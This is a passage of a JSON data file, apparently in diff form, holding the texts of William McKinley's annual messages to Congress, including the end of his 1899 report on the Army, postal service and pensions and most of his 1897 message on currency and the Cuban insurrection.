officers and 30,578 regulars, and\n594 officers and 15,388 of the volunteers, making an aggregate of 1,499\nofficers and 45,966 men. When the troops now under orders shall reach\nManila the force in the archipelago will comprise 2,051 officers and 63,483\nmen. The muster out of the great volunteer army organized for the Spanish\nWar and the creation of a new army, the transportation from Manila to San\nFrancisco of those entitled to discharge and the transportation of the new\ntroops to take their places have been a work of great magnitude well and\nably done, for which too much credit cannot be given the War Department.During the past year we have reduced our force in Cuba and Puerto Rico, In\nCuba we now have 334 officers and 10,796 enlisted men; In Puerto Rico, 87\nofficers and 2,855 enlisted men and a battalion of 400 men composed of\nnative Puerto Ricans; while stationed throughout the United States are 910\nofficers and 17,317 men, and in Hawaii 12 officers and 453 enlisted men.The operations of the Army are fully presented in the report of the\nSecretary of War. I cannot withhold from officers and men the highest\ncommendation for their soldierly conduct in trying situations, their\nwilling sacrifices for their country, and the integrity and ability with\nwhich they have performed unusual and difficult duties in our island\npossessions.In the organization of the volunteer regiments authorized by the act of\nMarch 2, 1899, it was found that no provision had been made for chaplains.\nThis omission was doubtless from inadvertence. I recommend the early\nauthorization for the appointment of one chaplain for each of said\nregiments. These regiments are now in the Philippines, and it is important\nthat immediate action be had.In restoring peaceful conditions, orderly rule, and civic progress in Cuba,\nPuerto Rico, and, so far as practicable, in the Philippines, the\nrehabilitation of the postal service has been an essential and important\npart of the work. It became necessary to provide mail facilities both for\nour forces of occupation and for the native population. To meet this\nrequirement has involved a substantial reconstruction. The existing systems\nwere so fragmentary, defective, and inadequate that a new and comprehensive\norganization had to be created. American trained officials have been\nassigned to the directing and executive positions, while natives have been\nchiefly employed in making up the body of the force. In working out this\nplan the merit rule has been rigorously and faithfully applied.The appointment of Director-General of Posts of Cuba was given to an expert\nwho had been Chief Post-Office Inspector and Assistant Postmaster-General,\nand who united large experience with administrative capacity. For the\npostmastership at Havana the range of skilled and available men was\nscanned, and the choice fell upon one who had been twenty years in the\nservice as deputy postmaster and postmaster of a large city. This principle\ngoverned and determined the selection of the American officials sent not\nonly to Cuba, but to Puerto Rico and the Philippines, and they were\ninstructed to apply it so far as practicable in the employment of the\nnatives as minor postmasters and clerks. The postal system in Cuba, though\nremaining under the general guidance of the Postmaster-General, was made\nessentially independent. It was felt that it should not be a burden upon\nthe postal service of the United States, and provision was made that any\ndeficit in the postal revenue should be a charge upon the general revenues\nof the island.Though Puerto Rico and the Philippines hold a different relation to the\nUnited States, yet, for convenience of administration, the same principle\nof an autonomous system has been extended to them. The development of the\nservice in all of the islands has been rapid and successful. It has moved\nforward on American lines, with free delivery, money order, and registry\nsystems, and has given the people mail facilities far greater and more\nreliable than any they have ever before enjoyed. It is thus not only a\nvital agency of industrial, social, and business progress, but an important\ninfluence in diffusing a just understanding of the true spirit and\ncharacter of American administration.The domestic postal service continues to grow with extraordinary rapidity.\nThe expenditures and the revenues will each exceed $100,000,000 during the\ncurrent year. Fortunately, since the revival of prosperous times the\nrevenues have grown much faster than the expenditures, and there is every\nindication that a short period will witness the obliteration of the annual\ndeficit. In this connection the report of the Postmaster-General embodies a\nstatement of some evils which have grown up outside of the contemplation of\nlaw in the treatment of some classes of mail matter which wrongly exercise\nthe privilege of the pound rate, and shows that if this matter had been\nproperly classified and had paid the rate which it should have paid,\ninstead of a postal deficit for the last fiscal year of $6,610,000, there\nwould have been on one basis a surplus of $17,637,570, and on another Of\n$5,733,836. The reform thus suggested, in the opinion of the\nPostmaster-General, would not only put the postal service at once on a\nself-sustaining basis, but would permit great and valuable improvements,\nand I commend the subject to the consideration of the Congress.The Navy has maintained the spirit and high efficiency which have always\ncharacterized that service, and has lost none of the gallantry in heroic\naction which has signalized its brilliant and glorious past. The Nation has\nequal pride in its early and later achievements. Its habitual readiness for\nevery emergency has won the confidence and admiration of the country. The\npeople are interested in the continued preparation and prestige of the Navy\nand will justify liberal appropriations for its maintenance and\nimprovement. The officers have shown peculiar adaptation for the\nperformance of new and delicate duties which our recent war has imposed.It cannot be doubted that Congress will at once make necessary provision\nfor the armor plate for the vessels now under contract and building. Its\nattention is respectfully called to the report of the Secretary of the\nNavy, in which the subject is fully presented. I unite in his\nrecommendation that the Congress enact such special legislation as may be\nnecessary to enable the Department to make contracts early in the coming\nyear for armor of the best quality that can be obtained in this country for\nthe Maine, Ohio, and Missouri, and that the provision of the act of March\n3, 1899, limiting the price of armor to $300 per ton be removed.In the matter of naval construction Italy and Japan, of the great powers,\nlaid down less tonnage in the year 1899 than this country, and Italy alone\nhas less tonnage under construction. I heartily concur in the\nrecommendations for the increase of the Navy, as suggested by the\nSecretary.Our future progress and prosperity depend upon our ability to equal, if not\nsurpass, other nations in the enlargement and advance of science, industry,\nand commerce. To invention we must turn as one of the most powerful aids to\nthe accomplishment of such a result. The attention of the Congress is\ndirected to the report of the Commissioner of Patents, in which will be\nfound valuable suggestions and recommendations.On the 30th of June, 1899, the pension roll of the United States numbered\n991,519. These include the pensioners of the Army and Navy in all our wars.\nThe number added to the rolls during the year was 40,991. The number\ndropped by reason of death, remarriage, minors by legal limitation, failure\nto claim within three years, and other causes, was 43, 186, and the number\nof claims disallowed was 107,919. During the year 89,054 pension\ncertificates were issued, of which 37,077 were for new or original\npensions. The amount disbursed for army and navy pensions during the year\nwas $138,355,052.95, which was $1,651,461.61 less than the sum of the\nappropriations.The Grand Army of the Republic at its recent national encampment held in\nPhiladelphia has brought to my attention and to that of the Congress the\nwisdom and justice of a modification of the third section of the act of\nJune 27, 1890, which provides pensions for the widows of officers and\nenlisted men who served ninety days or more during the War of the Rebellion\nand were honorably discharged, provided that such widows are without other\nmeans of sup, port than their daily labor and were married to the soldier,\nsailor, or marine on account of whose service they claim pension prior to\nthe date of the act.The present holding of the Department is that if the widow's income aside\nfrom her daily labor does not exceed in amount what her pension would be,\nto wit, $96 per annum, she would be deemed to be without other means of\nsupport than her daily labor, and would be entitled to a pension under this\nact; while if the widow's income independent of the amount received by her\nas the result of her daily labor exceeds $96, she would not be pensionable\nunder the act. I am advised by the Commissioner of Pensions that the amount\nof the income allowed before title to pension would be barred has varied\nwidely under different administrations of the Pension Office, as well as\nduring different periods of the same administration, and has been the cause\nof just complaint and criticism.With the approval of the Secretary of the Interior the Commissioner of\nPensions recommends that, in order to make the practice at all times\nuniform and to do justice to the dependent widow, the amount of income\nallowed independent of the proceeds of her daily labor should be not less\nthan $250 per annum, and he urges that the Congress shall so amend the act\nas to permit the Pension Office to grant pensionable status to widows under\nthe terms of the third section of the act of June 27, 1890, whose income\naside from the proceeds of daily labor is not in excess of $250 per annum.\nI believe this to be a simple act of justice and heartily recommend it.The Dawes Commission reports that gratifying progress has been made in its\nwork during the preceding year. The field-work of enrollment of four of the\nnations has been completed. I recommend that Congress at an early day make\nliberal appropriation for educational purposes in the Indian Territory.In accordance with the act of Congress approved March 3, 1899. the\npreliminary work in connection with the Twelfth Census is now fully under\nway. The officers required for the proper administration of the duties\nimposed have been selected. The provision for securing a proper enumeration\nof the population, as well as to secure evidence of the industrial growth\nof the Nation, is broader and more comprehensive than any similar\nlegislation in the past. The Director advises that every needful effort is\nbeing made to push this great work to completion in the time limited by the\nstatute. It is believed that the Twelfth Census will emphasize our\nremarkable advance in all that pertains to national progress.Under the authority of the act of Congress approved July 7, 1898, the\ncommission consisting of the Secretary of the Treasury, the\nAttorney-General, and the Secretary of the Interior has made an agreement\nof settlement, which has had my approval, of the indebtedness to the\nGovernment growing out of the issue of bonds to aid in the construction of\nthe Central Pacific and Western Pacific railroads. The agreement secures\nto the Government the principal and interest of said bonds, amounting to\n$58,812,715.48. There has been paid thereon $11,762,543.12, which has been\ncovered into the Treasury, and the remainder, payable within ten years,\nwith interest at the rate Of 3 per cent per annum, payable semiannually, is\nsecured by the deposit of an equal amount of first-mortgage bonds of the\nPacific Railway companies. The amounts paid and secured to be paid to the\nGovernment on account of the Pacific Railroad subsidy claims are: Union\nPacific, cash - $58,448,223.75Kansas Pacific, cash - 6,303,000.00Central and Western Pacific, cash - 11,798,314.14Notes, secured - 47,050,172.36Kansas Pacific--dividends for deficiency due United States, cash -\n821,897.70 -", 
+    "name": "William McKinley"
+}
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+{
+    "date": "December 6, 1897", 
+    "speech": "To the Senate and House of Representatives:It gives me pleasure to extend greeting to the Fifty-fifth Congress,\nassembled in regular session at the seat of Government, with many of whose\nSenators and Representatives I have been associated in the legislative\nservice. Their meeting occurs under felicitous conditions, justifying\nsincere congratulation and calling for our grateful acknowledgment to a\nbeneficent Providence which has so signally blessed and prospered us as a\nnation. Peace and good will with all the nations of the earth continue\nunbroken.A matter of genuine satisfaction is the growing feeling of fraternal regard\nand unification of all sections of our country, the incompleteness of which\nhas too long delayed realization of the highest blessings of the Union. The\nspirit of patriotism is universal and is ever increasing in fervor. The\npublic questions which now most engross us are lifted far above either\npartisanship, prejudice, or former sectional differences. They affect every\npart of our common country alike and permit of no division on ancient\nlines. Questions of foreign policy, of revenue, the soundness of the\ncurrency, the inviolability of national obligations, the improvement of the\npublic service, appeal to the individual conscience of every earnest\ncitizen to whatever party he belongs or in whatever section of the country\nhe may reside.The extra session of this Congress which closed during July last enacted\nimportant legislation, and while its full effect has not yet been realized,\nwhat it has already accomplished assures us of its timeliness and wisdom.\nTo test its permanent value further time will be required, and the people,\nsatisfied with its operation and results thus far, are in no mind to\nwithhold from it a fair trial.Tariff legislation having been settled by the extra session of Congress,\nthe question next pressing for consideration is that of the currency.The work of putting our finances upon a sound basis, difficult as it may\nseem, will appear easier when we recall the financial operations of the\nGovernment since 1866. On the 30th day of June of that year we had\noutstanding demand liabilities in the sum of $728,868,447.41. On the 1st of\nJanuary, 1879, these liabilities had been reduced to $443,889,495.88. Of our\ninterest-bearing obligations, the figures are even more striking. On July\n1, 1866, the principal of the interest-bearing debt of the Government was\n$2,332,331,208. On the 1st day of July, 1893, this sum had been reduced to\n$585,137,100, or an aggregate reduction of $1,747,294,108. The\ninterest-bearing debt of the United States on the 1st day of December,\n1897, was $847,365,620. The Government money now outstanding (December 1)\nconsists of $346,681,016 of United States notes, $107,793,280 of Treasury\nnotes issued by authority of the law of 1890, $384,963,504 of silver\ncertificates, and $61,280,761 of standard silver dollars.With the great resources of the Government, and with the honorable example\nof the past before us, we ought not to hesitate to enter upon a currency\nrevision which will make our demand obligations less onerous to the\nGovernment and relieve our financial laws from ambiguity and doubt.The brief review of what was accomplished from the close of the war to\n1893, makes unreasonable and groundless any distrust either of our\nfinancial ability or soundness; while the situation from 1893 to 1897 must\nadmonish Congress of the immediate necessity of so legislating as to make\nthe return of the conditions then prevailing impossible.There are many plans proposed as a remedy for the evil. Before we can find\nthe true remedy we must appreciate the real evil. It is not that our\ncurrency of every kind is not good, for every dollar of it is good; good\nbecause the Government's pledge is out to keep it so, and that pledge will\nnot be broken. However, the guaranty of our purpose to keep the pledge will\nbe best shown by advancing toward its fulfillment.The evil of the present system is found in the great cost to the Government\nof maintaining the parity of our different forms of money, that is, keeping\nall of them at par with gold. We surely cannot be longer heedless of the\nburden this imposes upon the people, even under fairly prosperous\nconditions, while the past four years have demonstrated that it is not only\nan expensive charge upon the Government, but a dangerous menace to the\nNational credit.It is manifest that we must devise some plan to protect the Government\nagainst bond issues for repeated redemptions. We must either curtail the\nopportunity for speculation, made easy by the multiplied redemptions of our\ndemand obligations, or increase the gold reserve for their redemption. We\nhave $900,000,000 of currency which the Government by solemn enactment has\nundertaken to keep at par with gold. Nobody is obliged to redeem in gold\nbut the Government. The banks are not required to redeem in gold. The\nGovernment is obliged to keep equal with gold all its outstanding currency\nand coin obligations, while its receipts are not required to be paid in\ngold. They are paid in every kind of money but gold, and the only means by\nwhich the Government can with certainty get gold is by borrowing. It can\nget it in no other way when it most needs it. The Government without any\nfixed gold revenue is pledged to maintain gold redemption, which it has\nsteadily and faithfully done, and which, under the authority now given, it\nwill continue to do.The law which requires the Government, after having redeemed its United\nStates notes, to pay them out again as current funds, demands a constant\nreplenishment of the gold reserve. This is especially so in times of\nbusiness panic and when the revenues are insufficient to meet the expenses\nof the Government. At such times the Government has no other way to supply\nits deficit and maintain redemption but through the increase of its bonded\ndebt, as during the Administration of my predecessor, when $262,315,400 of\nfour-and-a-half per cent bonds were issued and sold and the proceeds used\nto pay the expenses of the Government in excess of the revenues and sustain\nthe gold reserve. While it is true that the greater part of the proceeds of\nthese bonds were used to supply deficient revenues, a considerable portion\nwas required to maintain the gold reserve.With our revenues equal to our expenses, there would be no deficit\nrequiring the issuance of bonds. But if the gold reserve falls below\n$100,000,000, how will it be replenished except by selling more bonds? Is\nthere any other way practicable under existing law? The serious question\nthen is, Shall we continue the policy that has been pursued in the past;\nthat is, when the gold reserve reaches the point of danger, issue more\nbonds and supply the needed gold, or shall we provide other means to\nprevent these recurring drains upon the gold reserve? If no further\nlegislation is had and the policy of selling bonds is to be continued, then\nCongress should give the Secretary of the Treasury authority to sell bonds\nat long or short periods, bearing a less rate of interest than is now\nauthorized by law.I earnestly recommend, as soon as the receipts of the Government are quite\nsufficient to pay all the expenses of the Government, that when any of the\nUnited States notes are presented for redemption in gold and are redeemed\nin gold, such notes shall be kept and set apart, and only paid out in\nexchange for gold. This is an obvious duty. If the holder of the United\nStates note prefers the gold and gets it from the Government, he should not\nreceive back from the Government a United States note without paying gold\nin exchange for it. The reason for this is made all the more apparent when\nthe Government issues an interest-bearing debt to provide gold for the\nredemption of United States notes--a non-interest-bearing debt. Surely it\nshould not pay them out again except on demand and for gold. If they are\nput out in any other way, they may return again to be followed by another\nbond issue to redeem them--another interest-bearing debt to redeem a\nnon-interest-bearing debt.In my view, it is of the utmost importance that the Government should be\nrelieved from the burden of providing all the gold required for exchanges\nand export. This responsibility is alone borne by the Government, without\nany of the usual and necessary banking powers to help itself. The banks do\nnot feel the strain of gold redemption. The whole strain rests upon the\nGovernment, and the size of the gold reserve in the Treasury has come to\nbe, with or without reason, the signal of danger or of security. This ought\nto be stopped.If we are to have an era of prosperity in the country, with sufficient\nreceipts for the expenses of the Government, we may feel no immediate\nembarrassment from our present currency; but the danger still exists, and\nwill be ever present, menacing us so long as the existing system continues.\nAnd, besides, it is in times of adequate revenues and business tranquillity\nthat the Government should prepare for the worst. We cannot avoid, without\nserious consequences, the wise consideration and prompt solution of this\nquestion.The Secretary of the Treasury has outlined a plan, in great detail, for the\npurpose of removing the threatened recurrence of a depleted gold reserve\nand save us from future embarrassment on that account. To this plan I\ninvite your careful consideration.I concur with the Secretary of the Treasury in his recommendation that\nNational banks be allowed to issue notes to the face value of the bonds\nwhich they have deposited for circulation, and that the tax on circulating\nnotes secured by deposit of such bonds be reduced to one-half of one per\ncent per annum. I also join him in recommending that authority be given for\nthe establishment of National banks with a minimum capital of $25,000. This\nwill enable the smaller villages and agricultural regions of the country to\nbe supplied with currency to meet their needs.I recommend that the issue of National bank notes be restricted to the\ndenomination of ten dollars and upwards. If the suggestions I have herein\nmade shall have the approval of Congress, then I would recommend that\nNational banks be required to redeem their notes in gold.The most important problem with which this Government is now called upon to\ndeal pertaining to its foreign relations concerns its duty toward Spain and\nthe Cuban insurrection. Problems and conditions more or less in common with\nthose now existing have confronted this Government at various times in the\npast. The story of Cuba for many years has been one of unrest, growing\ndiscontent, an effort toward a larger enjoyment of liberty and\nself-control, of organized resistance to the mother country, of depression\nafter distress and warfare, and of ineffectual settlement to be followed by\nrenewed revolt. For no enduring period since the enfranchisement of the\ncontinental possessions of Spain in the Western Continent has the condition\nof Cuba or the policy of Spain toward Cuba not caused concern to the United\nStates.The prospect from time to time that the weakness of Spain's hold upon the\nisland and the political vicissitudes and embarrassments of the home\nGovernment might lead to the transfer of Cuba to a continental power called\nforth between 1823 and 1860 various emphatic declarations of the policy of\nthe United States to permit no disturbance of Cuba's connection with Spain\nunless in the direction of independence or acquisition by us through\npurchase, nor has there been any change of this declared policy since upon\nthe part of the Government.The revolution which began in 1868 lasted for ten years despite the\nstrenuous efforts of the successive peninsular governments to suppress it.\nThen as now the Government of the United States testified its grave concern\nand offered its aid to put an end to bloodshed in Cuba. The overtures made\nby General Grant were refused and the war dragged on, entailing great loss\nof life and treasure and increased injury to American interests, besides\nthrowing enhanced burdens of neutrality upon this Government. In 1878 peace\nwas brought about by the truce of Zanjon, obtained by negotiations between\nthe Spanish commander, Martinez de Campos, and the insurgent leaders.The present insurrection broke out in February, 1895. It is not my purpose\nat this time to recall its remarkable increase or to characterize its\ntenacious resistance against the enormous forces massed against it by\nSpain. The revolt and the efforts to subdue it carried destruction to every\nquarter of the island, developing wide proportions and defying the efforts\nof Spain for its suppression. The civilized code of war has been\ndisregarded, no less so by the Spaniards than by the Cubans.The existing conditions can not but fill this Government and the American\npeople with the gravest apprehension. There is no desire on the part of our\npeople to profit by the misfortunes of Spain. We have only the desire to\nsee the Cubans prosperous and contented, enjoying that measure of\nself-control which is the inalienable right of man, protected in their\nright to reap the benefit of the exhaustless treasures of their country.The offer made by my predecessor in April, 1896, tendering the friendly\noffices of this Government, failed. Any mediation on our part was not\naccepted. In brief, the answer read: \"There is no effectual way to pacify\nCuba unless it begins with the actual submission of the rebels to the\nmother country.\" Then only could Spain act in the promised direction, of\nher own motion and after her own plans.The cruel policy of concentration was initiated February 16, 1896. The\nproductive districts controlled by the Spanish armies were depopulated. The\nagricultural inhabitants were herded in and about the garrison towns, their\nlands laid waste and their dwellings destroyed. This policy the late\ncabinet of Spain justified as a necessary measure of war and as a means of\ncutting off supplies from the insurgents. It has utterly failed as a war\nmeasure. It was not civilized warfare. It was extermination.Against this abuse of the rights of war I have felt constrained on repeated\noccasions to enter the firm and earnest protest of this Government. There\nwas much of public condemnation of the treatment of American citizens by\nalleged illegal arrests and long imprisonment awaiting trial or pending\nprotracted judicial proceedings. I felt it my first duty to make instant\ndemand for the release or speedy trial of all American citizens under\narrest. Before the change of the Spanish cabinet in October last twenty-two\nprisoners, citizens of the United States, had been given their freedom.For the relief of our own citizens suffering because of the conflict the\naid of Congress was sought in a special message, and under the\nappropriation of May 24, 1897, effective aid has been given to American\ncitizens in Cuba, many of them at their own request having been returned to\nthe United States.The instructions given to our new minister to Spain before his departure\nfor his post directed him to impress upon that Government the sincere wish\nof the United States to lend its aid toward the ending of the war in Cuba\nby reaching a peaceful and lasting result, just and honorable alike to\nSpain and to the Cuban people. These instructions recited the character and\nduration of the contest, the widespread losses it entails, the burdens and\nrestraints it imposes upon us, with constant disturbance of national\ninterests, and the injury resulting from an indefinite continuance of this\nstate of things. It was stated that at this juncture our Government was\nconstrained to seriously inquire if the time was not ripe when Spain of her\nown volition, moved by her own interests and every sentiment of humanity,\nshould put a stop to this destructive war and make proposals of settlement\nhonorable to herself and just to her Cuban colony. It was urged that as a\nneighboring nation, with large interests in Cuba, we could be required to\nwait only a reasonable time for the mother country to establish its\nauthority and restore peace and order within the borders of the island;\nthat we could not contemplate an indefinite period for the accomplishment\nof this result.No solution was proposed to which the slightest idea of humiliation to\nSpain could attach, and, indeed, precise proposals were withheld to avoid\nembarrassment to that Government. All that was asked or expected was that\nsome safe way might be speedily provided and permanent peace restored. It\nso chanced that the consideration of this offer, addressed to the same\nSpanish administration which had declined the tenders of my predecessor,\nand which for more than two years had poured men and treasure into Cuba in\nthe fruitless effort to suppress the revolt, fell to others. Between the\ndeparture of General Woodford, the new envoy, and his arrival in Spain the\nstatesman who had shaped the policy of his country fell by the hand of an\nassassin, and although the cabinet of the late premier still held office\nand received from our envoy the proposals he bore, that cabinet gave place\nwithin a few days thereafter to a new administration, under the leadership\nof Sagasta.The reply to our note was received on the 23d day of October. It is in the\ndirection of a better understanding. It appreciates the friendly purposes\nof this Government. It admits that our country is deeply affected by the\nwar in Cuba and that its desires for peace are just. It declares that the\npresent Spanish government is bound by every consideration to a change of\npolicy that should satisfy the United States and pacify Cuba within a\nreasonable time. To this end Spain has decided to put into effect the\npolitical reforms heretofore advocated by the present premier, without\nhalting for any consideration in the path which in its judgment leads to\npeace. The military operations, it is said, will continue, but will be\nhumane and conducted with all regard for private rights, being accompanied\nby political action leading to the autonomy of Cuba while guarding Spanish\nsovereignty. This, it is claimed, will result in investing Cuba with a\ndistinct personality, the island to be governed by an executive and by a\nlocal council or chamber, reserving to Spain the control of the foreign\nrelations, the army and navy, and the judicial administration. To\naccomplish this the present government proposes to modify existing\nlegislation by decree, leaving the Spanish Cortes, with the aid of Cuban\nsenators and deputies, to solve the economic problem and properly\ndistribute the existing debt.In the absence of a declaration of the measures that this Government\nproposes to take in carrying out its proffer of good offices, it suggests\nthat Spain be left free to conduct military operations and grant political\nreforms, while the United States for its part shall enforce its neutral\nobligations and cut off the assistance which it is asserted the insurgents\nreceive from this country. The supposition of an indefinite prolongation of\nthe war is denied. It is asserted that the western provinces are already\nwell-nigh reclaimed, that the planting of cane and tobacco therein has been\nresumed, and that by force of arms and new and ample reforms very early and\ncomplete pacification is hoped for.The immediate amelioration of existing conditions under the new\nadministration of Cuban affairs is predicted, and therewithal the\ndisturbance and all occasion for any change of attitude on the part of the\nUnited States. Discussion of the question of the international duties and\nresponsibilities of the United States as Spain understands them is\npresented, with an apparent disposition to charge us with failure in this\nregard. This charge is without any basis in fact. It could not have been\nmade if Spain had been cognizant of the constant efforts this Government\nhas made, at the cost of millions and by the employment of the\nadministrative machinery of the nation at command, to perform its full duty\naccording to the law of nations. That it has successfully prevented the\ndeparture of a single military expedition or armed vessel from our shores\nin violation of our laws would seem to be a sufficient answer. But of this\naspect of the Spanish note it is not necessary to speak further now. Firm\nin the conviction of a wholly performed obligation, due response to this\ncharge has been made in diplomatic course.Throughout all these horrors and dangers to our own peace this Government\nhas never in any way abrogated its sovereign prerogative of reserving to\nitself the determination of its policy and course according to its own high\nsense of right and in consonance with the dearest interests and convictions\nof our own people should the prolongation of the strife so demand.Of the untried measures there remain only: Recognition of the insurgents as\nbelligerents; recognition of the independence of Cuba; neutral intervention\nto end the war by imposing a rational compromise between the contestants,\nand intervention in favor of one or the other party. I speak not of\nforcible annexation, for that can not be thought of. That, by our code of\nmorality, would be criminal aggression.Recognition of the belligerency of the Cuban insurgents has often been\ncanvassed as a possible, if not inevitable, step both in regard to the\nprevious ten years' struggle and during the present war. I am not unmindful\nthat the two Houses of Congress in the spring of 1896 expressed the opinion\nby concurrent resolution that a condition of public war existed requiring\nor justifying the recognition of a state of belligerency in Cuba, and\nduring the extra session the Senate voted a joint resolution of like\nimport, which, however, was not brought to a vote in the House of\nRepresentatives. In the presence of these significant expressions of the\nsentiment of the legislative branch it behooves the Executive to soberly\nconsider the conditions under which so important a measure must needs rest\nfor justification. It is to be seriously considered whether the Cuban\ninsurrection possesses beyond dispute the attributes of statehood, which\nalone can demand the recognition of belligerency in its favor. Possession,\nin short, of the essential qualifications of sovereignty by the insurgents\nand the conduct of the war by them according to the received code of war\nare no less important factors toward the determination of the problem of\nbelligerency than are the influences and consequences of the struggle upon\nthe internal polity of the recognizing state.The wise utterances of President Grant in his memorable message of December\n7, 1875, are signally relevant to the present situation in Cuba, and it may\nbe wholesome now to recall them. At that time a ruinous conflict had for\nseven years wasted the neighboring island. During all those years an utter\ndisregard of the laws of civilized warfare and of the just demands of\nhumanity, which called forth expressions of condemnation from the nations\nof Christendom, continued unabated. Desolation and ruin pervaded that\nproductive region, enormously affecting the commerce of all commercial\nnations, but that of the United States more than any other by reason of\nproximity and larger trade and intercourse. At that juncture General Grant\nuttered these words, which now, as then, sum up the elements of the\nproblem: A recognition of the independence of Cuba being, in my opinion,\nimpracticable and indefensible, the question which next presents itself is\nthat of the recognition of belligerent rights in the parties to the\ncontest.In a former message to Congress I had occasion to consider this question,\nand reached the conclusion that the conflict in Cuba, dreadful and\ndevastating as were its incidents, did not rise to the fearful dignity of\nwar. It is possible that the acts of foreign powers, and even acts of Spain\nherself, of this very nature, might be pointed to in defense of such\nrecognition. But now, as in its past history, the United States should\ncarefully avoid the false lights which might lead it into the mazes of\ndoubtful law and of questionable propriety, and adhere rigidly and sternly\nto the rule, which has been its guide, of doing only that which is right\nand honest and of good report. The question of according or of withholding\nrights of belligerency must be judged in every case in view of the\nparticular attending facts. Unless justified by necessity, it is always,\nand justly, regarded as an unfriendly act and a gratuitous demonstration of\nmoral support to the rebellion. It is necessary, and it is required, when\nthe interests and rights of another government or of its people are so far\naffected by a pending civil conflict as to require a definition of its\nrelations to the parties thereto. But this conflict must be one which will\nbe recognized in the sense of international law as war. Belligerence, too,\nis a fact. The mere existence of contending armed bodies and their\noccasional conflicts do not constitute war in the sense referred to.\nApplying to the existing condition of affairs in Cuba the tests recognized\nby publicists and writers on international law, and which have been\nobserved by nations of dignity, honesty, and power when free from sensitive\nor selfish and unworthy motives, I fail to find in the insurrection the\nexistence of such a substantial political organization, real, palpable, and\nmanifest to the world, having the forms and capable of the ordinary\nfunctions of government toward its own people and to other states, with\ncourts for the administration of justice, with a local habitation,\npossessing such organization of force, such material, such occupation of\nterritory, as to take the contest out of the category of a mere rebellious\ninsurrection or occasional skirmishes and place it on the terrible footing\nof war, to which a recognition of belligerency would aim to elevate it. The\ncontest, moreover, is solely on land; the insurrection has not possessed\nitself of a single seaport whence it may send forth its flag, nor has it\nany means of communication with foreign powers except through the military\nlines of its adversaries. No apprehension of any of those sudden and\ndifficult complications which a war upon the ocean is apt to precipitate\nupon the vessels, both commercial and national, and upon the consular\nofficers of other powers calls for the definition of their relations to the\nparties to the contest. Considered as a question of expediency, I regard\nthe accordance of belligerent rights still to be as unwise and premature as\nI regard it to be, at present, indefensible as a measure of right. Such\nrecognition entails upon the country according the rights which flow from\nit difficult and complicated duties, and requires the exaction from the\ncontending parties of the strict observance of their rights and\nobligations. It confers the right of search upon the high seas by vessels\nof both parties; it would subject the carrying of arms and munitions of\nwar, which now may be transported freely and without interruption in the\nvessels of the United States, to detention and to possible seizure; it\nwould give rise to countless vexatious questions, would release the parent\nGovernment from responsibility for acts done by the insurgents, and would\ninvest Spain with the right to exercise the supervision recognized by our\ntreaty of 1795 over our commerce on the high seas, a very large part of\nwhich, in its traffic between the Atlantic and the Gulf States and between\nall of them and the States on the Pacific, passes through the waters which\nwash the shores of Cuba. The exercise of this supervision could scarce fail\nto lead, if not to abuses, certainly to collisions perilous to the peaceful\nrelations of the two States. There can be little doubt to what result such\nsupervision would before long draw this nation. It would be unworthy of the\nUnited States to inaugurate the possibilities of such result by measures of\nquestionable right or expediency or by any indirection. Turning to the\npractical aspects of a recognition of belligerency and reviewing its\ninconveniences and positive dangers, still further pertinent considerations\nappear. In the code of nations there is no such thing as a naked\nrecognition of belligerency, unaccompanied by the assumption of\ninternational neutrality. Such recognition, without more, will not confer\nupon either party to a domestic conflict a status not theretofore actually\npossessed or affect the relation of either party to other states. The act\nof recognition usually takes the form of a solemn proclamation of\nneutrality, which recites the de facto condition of belligerency as its\nmotive. It announces a domestic law of neutrality in the declaring state.\nIt assumes the international obligations of a neutral in the presence of a\npublic state of war. It warns all citizens and others within the\njurisdiction of the proclaimant that they violate those rigorous\nobligations at their own peril and can not expect to be shielded from the\nconsequences. The right of visit and search on the seas and seizure of\nvessels and cargoes and contraband of war and good prize under admiralty\nlaw must under international law be admitted as a legitimate consequence of\na proclamation of belligerency. While according the equal belligerent\nrights defined by public law to each party in our ports disfavors would be\nimposed on both, which, while nominally equal, would weigh heavily in\nbehalf of Spain herself. Possessing a navy and controlling the ports of\nCuba, her maritime rights could be asserted not only for the military\ninvestment of the island, but up to the margin of our own territorial\nwaters, and a condition of things would exist for which the Cubans within\ntheir own domain could not hope to create a parallel, while its creation\nthrough aid or sympathy from within our domain would be even more\nimpossible than now, with the additional obligations of international\nneutrality we would perforce assume.The enforcement of this enlarged and onerous code of neutrality would only\nbe influential within our own jurisdiction by land and sea and applicable\nby our own instrumentalities. It could impart to the United States no\njurisdiction between Spain and the insurgents. It would give the United\nStates no right of intervention to enforce the conduct of the strife within\nthe paramount authority of Spain according to the international code of\nwar.For these reasons I regard the recognition of the belligerency of the Cuban\ninsurgents as now unwise, and therefore inadmissible. Should that step\nhereafter be deemed wise as a measure of right and duty, the Executive will\ntake it.Intervention upon humanitarian grounds has been frequently suggested and\nhas not failed to receive my most anxious and earnest consideration. But\nshould such a step be now taken, when it is apparent that a hopeful change\nhas supervened in the policy of Spain toward Cuba? A new government has\ntaken office in the mother country. It is pledged in advance to the\ndeclaration that all the effort in the world can not suffice to maintain\npeace in Cuba by the bayonet; that vague promises of reform after\nsubjugation afford no solution of the insular problem; that with a\nsubstitution of commanders must come a change of the past system of warfare\nfor one in harmony with a new policy, which shall no longer aim to drive\nthe Cubans to the \"horrible alternative of taking to the thicket or\nsuccumbing in misery;\" that reforms must be instituted in accordance with\nthe needs and circumstances of the time, and that these reforms, while\ndesigned to give full autonomy to the colony and to create a virtual entity\nand self-controlled administration, shall yet conserve and affirm the\nsovereignty of Spain by a just distribution of powers and burdens upon a\nbasis of mutual interest untainted by methods of selfish expediency.The first acts of the new government lie in these honorable paths. The\npolicy of cruel rapine and extermination that so long shocked the universal\nsentiment of humanity has been reversed. Under the new military commander a\nbroad clemency is proffered. Measures have already been set on foot to\nrelieve the horrors of starvation. The power of the Spanish armies, it is\nasserted, is to be used not to spread ruin and desolation, but to protect\nthe resumption of peaceful agricultural pursuits and productive industries.\nThat past methods are futile to force a peace by subjugation is freely\nadmitted, and that ruin without conciliation must inevitably fail to win\nfor Spain the fidelity of a contented dependency.Decrees in application of the foreshadowed reforms have already been\npromulgated. The full text of these decrees has not been received, but as\nfurnished in a telegraphic summary from our minister are: All civil and\nelectoral rights of peninsular Spaniards are, in virtue of existing\nconstitutional authority, forthwith extended to colonial Spaniards. A\nscheme of autonomy has been proclaimed by decree, to become effective upon\nratification by the Cortes. It creates a Cuban parliament, which, with the\ninsular executive, can consider and vote upon all subjects affecting local\norder and interests, possessing unlimited powers save as to matters of\nstate, war, and the navy, as to which the Governor-General acts 